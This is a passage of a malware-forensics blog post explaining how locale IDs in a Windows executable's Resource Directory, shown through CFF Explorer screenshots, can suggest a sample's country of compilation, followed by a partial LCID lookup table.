&lt;br /&gt;
&lt;br /&gt;
Of course, it’s not often we get THAT lucky!&lt;br /&gt;
&lt;br /&gt;
A more interesting method is the examination of certain structures known as the Resource Directory within the executable file itself. For the purpose of this post, I will not be describing the Resource Directory structure. It’s a complicated beast, making it a topic I will save for later posts that actually warrant and/or require a low-level understanding of it. Suffice it to say, the Resource Directory is where embedded resources like bitmaps (used in GUI graphics), file icons, etc. are stored. The structure is frequently compared to the layout of files on a file system, although I think it’s insulting to file systems to say such a thing. For those more graphically inclined, I took the following image from &lt;a href=&quot;http://www.devsource.com/images/stories/PEFigure2.jpg&quot;&gt;http://www.devsource.com/images/stories/PEFigure2.jpg&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi88NHEjlwtPQ7WyDHdcBOO-dCgl79b7epCS1yYDt16zXryZGSazip4ATkNH77fNzkFkkiEdgd_sXUpNyDMXTOPA2B1xQg3XeCnnGmRWE97jTAi19ba7_ujokHeFF0VK2ziMCaS3gAQZ5E/s1600/PEFigure2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;278&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi88NHEjlwtPQ7WyDHdcBOO-dCgl79b7epCS1yYDt16zXryZGSazip4ATkNH77fNzkFkkiEdgd_sXUpNyDMXTOPA2B1xQg3XeCnnGmRWE97jTAi19ba7_ujokHeFF0VK2ziMCaS3gAQZ5E/s400/PEFigure2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For the sake of example, here’s some images showing you just a few of the resources embedded inside of notepad.exe: (using CFF Explorer from: &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot;&gt;http://www.ntcore.com/exsuite.php&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/notepad1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-566&quot; height=&quot;231&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/notepad1.png&quot; title=&quot;notepad1&quot; width=&quot;471&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/notepad2.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-567&quot; height=&quot;231&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/notepad2.png&quot; title=&quot;notepad2&quot; width=&quot;378&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/notepad3.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-568&quot; height=&quot;407&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/notepad3.png&quot; title=&quot;notepad3&quot; width=&quot;569&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Now it’s important to note that an executable may have only a few or even zero resources – especially in the case of malware. Consider the following example showing a recent piece of malware with only a single resource called “BINARY.” &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGv85a_uPxjJMDKVW16zRBXSwsByMLcJRp26KpsNuHHYf1uPEq6d6DaGBw7otQF25s8VbySzFA7wCkppqC8yNo1YbW2Njr-ZpwhGJcTKU080XrYC6-nEXy94bUqzQysoXZCyuPeN2H9VA/s1600/single+malware+resource+directory+entry.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;164&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGv85a_uPxjJMDKVW16zRBXSwsByMLcJRp26KpsNuHHYf1uPEq6d6DaGBw7otQF25s8VbySzFA7wCkppqC8yNo1YbW2Njr-ZpwhGJcTKU080XrYC6-nEXy94bUqzQysoXZCyuPeN2H9VA/s640/single+malware+resource+directory+entry.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Moving on, let’s look at another piece of malware… Below, we see this piece of malware has five resource directories.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/1-malware-resource-directory-root.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-570&quot; height=&quot;99&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/1-malware-resource-directory-root.png&quot; title=&quot;1 malware resource directory root&quot; width=&quot;137&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
We could pick any of the five for this analysis, but I’ll pick RCData – mostly because it’s typically an interesting directory to examine when reverse engineering malware. (This is because&amp;nbsp;RCData defines a raw data resource for an application. Raw data resources permit the inclusion of any&amp;nbsp;binary data directly in the executable file.) Under RCData, we see three separate entries:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/2-malware-resource-directory-rcdata.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-571&quot; height=&quot;81&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/2-malware-resource-directory-rcdata.png&quot; title=&quot;2 malware resource directory rcdata&quot; width=&quot;304&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The first one to catch my eye is the one called IE_PLUGIN. I’ll show a screenshot of it below, but am saving the subject of executables embedded within executables for a MUCH more technical post in the near future (when it’s not 1:30 am and I actually feel like writing more!). &lt;img alt=&quot;;-)&quot; class=&quot;wp-smiley&quot; src=&quot;http://www.networkforensics.com/wp-includes/images/smilies/icon_wink.gif&quot; /&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipZuU4DflpXO3Kr8BDbkaBo3OegHpPL0rtQA5oVUSK6mFXqpCq8AeDVPty0b7MN5MBSTiTTRRZ1nacTcKrh3cFPEpzsN-xxrvFdt2Yw1CLyhzwPv_5osdohFDtTXxxOtktFuCdjJagH_M/s1600/3+malware+pe+embedded+within+resource.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;140&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipZuU4DflpXO3Kr8BDbkaBo3OegHpPL0rtQA5oVUSK6mFXqpCq8AeDVPty0b7MN5MBSTiTTRRZ1nacTcKrh3cFPEpzsN-xxrvFdt2Yw1CLyhzwPv_5osdohFDtTXxxOtktFuCdjJagH_M/s640/3+malware+pe+embedded+within+resource.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the entry structure itself, the IE_PLUGIN entry will have at least one Directory Entry underneath it to describe the size(s) and offset(s) to the data contained within that resource. I have expanded it as shown next:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/4-malware-pe-resource-entry-with-id.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-573&quot; height=&quot;112&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/4-malware-pe-resource-entry-with-id.png&quot; title=&quot;4 malware pe resource entry with id&quot; width=&quot;292&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
And that’s where things get interesting – as it relates to answering the question at the start of this post anyways. Notice the ID: 1055. That’s our money shot for helping to determine what country this binary was compiled in. Or, more specifically, the default locale codepage of the computer used to compile this binary. Those ID’s have very legitimate uses, for example, you can have the same dialog in English, French and German localized forms. The system will choose the dialog to load based on the thread’s locale. However, when resources are added to the binary without explicitly setting them to different locale IDs, those resources will be assigned the default locale ID of the compiler’s computer.&lt;br /&gt;
&lt;br /&gt;
So in the example above, what does 1055 mean?&lt;br /&gt;
&lt;br /&gt;
It means this piece of malware likely&amp;nbsp;was developed (or at least compiled in)&amp;nbsp;Turkey.&lt;br /&gt;
&lt;br /&gt;
How do we know that one resource wasn’t added with a custom ID? Because we see the same ID when looking at almost all the other resources in the file (anything with an ID of zero just means “use the default locale”):&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/all-resources-with-id.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-584&quot; height=&quot;345&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/all-resources-with-id.png&quot; title=&quot;all resources with id&quot; width=&quot;191&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
In this case, we are also lucky enough to have other strings in the binary (once unpacked) to help solidify the assertion this binary is from Turkey. One such string is “Aktif Pencere,” which Google’s Translation detection engine shows as: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqeA3pjeDsVf_nWX-DU-HF5NcCcLaAXsw-aU1gGXNILY1Abl45XryhayZnGRPohkCzPQQu7S7OgiApA3dvOOMIPI2skV2Uecu5F0H5_6xVLrjuHe9MxwYIvOI7IV0z_eNm4m__HBCbGww/s1600/google+translate+for+malware.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;132&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqeA3pjeDsVf_nWX-DU-HF5NcCcLaAXsw-aU1gGXNILY1Abl45XryhayZnGRPohkCzPQQu7S7OgiApA3dvOOMIPI2skV2Uecu5F0H5_6xVLrjuHe9MxwYIvOI7IV0z_eNm4m__HBCbGww/s640/google+translate+for+malware.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
However, as you can see, this technique is very useful even when no strings are present – in logs or&amp;nbsp;the binary itself.&lt;br /&gt;
&lt;br /&gt;
So is this how the default binary locale identification works normally (eg: non-malware executable files)?&lt;br /&gt;
&lt;br /&gt;
Not exactly. The above techniques are generally used with malware (if the malware even has exposed resources), but not generally with normal/legitimate binaries. Consider the following legitimate binary. What is the source locale for the following example?&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/normal-pe-resources.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-586&quot; height=&quot;666&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/normal-pe-resources.png&quot; title=&quot;normal pe resources&quot; width=&quot;218&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
As you see in the green box, we have some cursor resources with the ID for the United States. (I’m including a lookup table at the bottom of this post.) In the orange box, there are additional cursor resources with the ID for Germany. In the red box is RCData, like we examined before, but all of these resources have the ID specifying the default language of the computer executing the application.&lt;br /&gt;
&lt;br /&gt;
As it turns out, the normal value to examine is the ID for the Version Information Table resource (in the blue box). In the case above, it&#39;s the Czech Republic. The Version Information Table contains the “metadata” you normally see depicted in locations like this:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/notepad-meta.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-587&quot; height=&quot;516&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/notepad-meta.png&quot; title=&quot;notepad meta&quot; width=&quot;377&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
In the above screenshot, Windows is identifying the source/target local as English, and specifically, United States English (as opposed to UK English, Australian English, etc…). That information is not stored within the Version Information table, but rather is determined by the ID of the Version Information Table.&lt;br /&gt;
&lt;br /&gt;
However, in malware, the Version Information table is almost always stripped or mangled, as is the case with our original example from earlier:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/mal-meta.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-588&quot; height=&quot;516&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/mal-meta.png&quot; title=&quot;mal meta&quot; width=&quot;377&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Because of that, the earlier techniques are more applicable to malware.&lt;br /&gt;
&lt;br /&gt;
Below, I’m including a table to help you translate Resource Entry IDs to locales (sorted by decimal ID number).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;/div&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;width: 456px;&quot;&gt;&lt;colgroup&gt;&lt;col width=&quot;194&quot;&gt;&lt;/col&gt;&lt;col width=&quot;65&quot;&gt;&lt;/col&gt;&lt;col span=&quot;2&quot; width=&quot;64&quot;&gt;&lt;/col&gt;&lt;col width=&quot;69&quot;&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot; width=&quot;194&quot;&gt;Locale&lt;/td&gt;&lt;td width=&quot;65&quot;&gt;Language&lt;/td&gt;&lt;td width=&quot;64&quot;&gt;LCID&lt;/td&gt;&lt;td width=&quot;64&quot;&gt;Decimal&lt;/td&gt;&lt;td width=&quot;69&quot;&gt;Codepage&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Saudi Arabia&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-sa&lt;/td&gt;&lt;td&gt;1025&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Bulgarian&lt;/td&gt;&lt;td&gt;bg&lt;/td&gt;&lt;td&gt;bg&lt;/td&gt;&lt;td&gt;1026&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Catalan&lt;/td&gt;&lt;td&gt;ca&lt;/td&gt;&lt;td&gt;ca&lt;/td&gt;&lt;td&gt;1027&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Chinese – Taiwan&lt;/td&gt;&lt;td&gt;zh&lt;/td&gt;&lt;td&gt;zh-tw&lt;/td&gt;&lt;td&gt;1028&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Czech&lt;/td&gt;&lt;td&gt;cs&lt;/td&gt;&lt;td&gt;cs&lt;/td&gt;&lt;td&gt;1029&lt;/td&gt;&lt;td&gt;1250&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Danish&lt;/td&gt;&lt;td&gt;da&lt;/td&gt;&lt;td&gt;da&lt;/td&gt;&lt;td&gt;1030&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;German – Germany&lt;/td&gt;&lt;td&gt;de&lt;/td&gt;&lt;td&gt;de-de&lt;/td&gt;&lt;td&gt;1031&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Greek&lt;/td&gt;&lt;td&gt;el&lt;/td&gt;&lt;td&gt;el&lt;/td&gt;&lt;td&gt;1032&lt;/td&gt;&lt;td&gt;1253&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – United States&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-us&lt;/td&gt;&lt;td&gt;1033&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Spain (Traditional)&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-es&lt;/td&gt;&lt;td&gt;1034&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Finnish&lt;/td&gt;&lt;td&gt;fi&lt;/td&gt;&lt;td&gt;fi&lt;/td&gt;&lt;td&gt;1035&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – France&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;fr-fr&lt;/td&gt;&lt;td&gt;1036&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Hebrew&lt;/td&gt;&lt;td&gt;he&lt;/td&gt;&lt;td&gt;he&lt;/td&gt;&lt;td&gt;1037&lt;/td&gt;&lt;td&gt;1255&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Hungarian&lt;/td&gt;&lt;td&gt;hu&lt;/td&gt;&lt;td&gt;hu&lt;/td&gt;&lt;td&gt;1038&lt;/td&gt;&lt;td&gt;1250&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Icelandic&lt;/td&gt;&lt;td&gt;is&lt;/td&gt;&lt;td&gt;is&lt;/td&gt;&lt;td&gt;1039&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Italian – Italy&lt;/td&gt;&lt;td&gt;it&lt;/td&gt;&lt;td&gt;it-it&lt;/td&gt;&lt;td&gt;1040&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Japanese&lt;/td&gt;&lt;td&gt;ja&lt;/td&gt;&lt;td&gt;ja&lt;/td&gt;&lt;td&gt;1041&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Korean&lt;/td&gt;&lt;td&gt;ko&lt;/td&gt;&lt;td&gt;ko&lt;/td&gt;&lt;td&gt;1042&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Dutch – Netherlands&lt;/td&gt;&lt;td&gt;nl&lt;/td&gt;&lt;td&gt;nl-nl&lt;/td&gt;&lt;td&gt;1043&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Norwegian – Bokml&lt;/td&gt;&lt;td&gt;nb&lt;/td&gt;&lt;td&gt;no-no&lt;/td&gt;&lt;td&gt;1044&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Polish&lt;/td&gt;&lt;td&gt;pl&lt;/td&gt;&lt;td&gt;pl&lt;/td&gt;&lt;td&gt;1045&lt;/td&gt;&lt;td&gt;1250&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Portuguese – Brazil&lt;/td&gt;&lt;td&gt;pt&lt;/td&gt;&lt;td&gt;pt-br&lt;/td&gt;&lt;td&gt;1046&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Raeto-Romance&lt;/td&gt;&lt;td&gt;rm&lt;/td&gt;&lt;td&gt;rm&lt;/td&gt;&lt;td&gt;1047&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Romanian – Romania&lt;/td&gt;&lt;td&gt;ro&lt;/td&gt;&lt;td&gt;ro&lt;/td&gt;&lt;td&gt;1048&lt;/td&gt;&lt;td&gt;1250&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Russian&lt;/td&gt;&lt;td&gt;ru&lt;/td&gt;&lt;td&gt;ru&lt;/td&gt;&lt;td&gt;1049&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Croatian&lt;/td&gt;&lt;td&gt;hr&lt;/td&gt;&lt;td&gt;hr&lt;/td&gt;&lt;td&gt;1050&lt;/td&gt;&lt;td&gt;1250&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Slovak&lt;/td&gt;&lt;td&gt;sk&lt;/td&gt;&lt;td&gt;sk&lt;/td&gt;&lt;td&gt;1051&lt;/td&gt;&lt;td&gt;1250&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Albanian&lt;/td&gt;&lt;td&gt;sq&lt;/td&gt;&lt;td&gt;sq&lt;/td&gt;&lt;td&gt;1052&lt;/td&gt;&lt;td&gt;1250&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Swedish – Sweden&lt;/td&gt;&lt;td&gt;sv&lt;/td&gt;&lt;td&gt;sv-se&lt;/td&gt;&lt;td&gt;1053&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Thai&lt;/td&gt;&lt;td&gt;th&lt;/td&gt;&lt;td&gt;th&lt;/td&gt;&lt;td&gt;1054&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Turkish&lt;/td&gt;&lt;td&gt;tr&lt;/td&gt;&lt;td&gt;tr&lt;/td&gt;&lt;td&gt;1055&lt;/td&gt;&lt;td&gt;1254&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Urdu&lt;/td&gt;&lt;td&gt;ur&lt;/td&gt;&lt;td&gt;ur&lt;/td&gt;&lt;td&gt;1056&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Indonesian&lt;/td&gt;&lt;td&gt;id&lt;/td&gt;&lt;td&gt;id&lt;/td&gt;&lt;td&gt;1057&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Ukrainian&lt;/td&gt;&lt;td&gt;uk&lt;/td&gt;&lt;td&gt;uk&lt;/td&gt;&lt;td&gt;1058&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Belarusian&lt;/td&gt;&lt;td&gt;be&lt;/td&gt;&lt;td&gt;be&lt;/td&gt;&lt;td&gt;1059&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Slovenian&lt;/td&gt;&lt;td&gt;sl&lt;/td&gt;&lt;td&gt;sl&lt;/td&gt;&lt;td&gt;1060&lt;/td&gt;&lt;td&gt;1250&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Estonian&lt;/td&gt;&lt;td&gt;et&lt;/td&gt;&lt;td&gt;et&lt;/td&gt;&lt;td&gt;1061&lt;/td&gt;&lt;td&gt;1257&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Latvian&lt;/td&gt;&lt;td&gt;lv&lt;/td&gt;&lt;td&gt;lv&lt;/td&gt;&lt;td&gt;1062&lt;/td&gt;&lt;td&gt;1257&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Lithuanian&lt;/td&gt;&lt;td&gt;lt&lt;/td&gt;&lt;td&gt;lt&lt;/td&gt;&lt;td&gt;1063&lt;/td&gt;&lt;td&gt;1257&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Tajik&lt;/td&gt;&lt;td&gt;tg&lt;/td&gt;&lt;td&gt;tg&lt;/td&gt;&lt;td&gt;1064&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Farsi – Persian&lt;/td&gt;&lt;td&gt;fa&lt;/td&gt;&lt;td&gt;fa&lt;/td&gt;&lt;td&gt;1065&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Vietnamese&lt;/td&gt;&lt;td&gt;vi&lt;/td&gt;&lt;td&gt;vi&lt;/td&gt;&lt;td&gt;1066&lt;/td&gt;&lt;td&gt;1258&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Armenian&lt;/td&gt;&lt;td&gt;hy&lt;/td&gt;&lt;td&gt;hy&lt;/td&gt;&lt;td&gt;1067&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Azeri – Latin&lt;/td&gt;&lt;td&gt;az&lt;/td&gt;&lt;td&gt;az-az&lt;/td&gt;&lt;td&gt;1068&lt;/td&gt;&lt;td&gt;1254&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Basque&lt;/td&gt;&lt;td&gt;eu&lt;/td&gt;&lt;td&gt;eu&lt;/td&gt;&lt;td&gt;1069&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Sorbian&lt;/td&gt;&lt;td&gt;sb&lt;/td&gt;&lt;td&gt;sb&lt;/td&gt;&lt;td&gt;1070&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;FYRO Macedonia&lt;/td&gt;&lt;td&gt;mk&lt;/td&gt;&lt;td&gt;mk&lt;/td&gt;&lt;td&gt;1071&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Sesotho (Sutu)&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1072&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
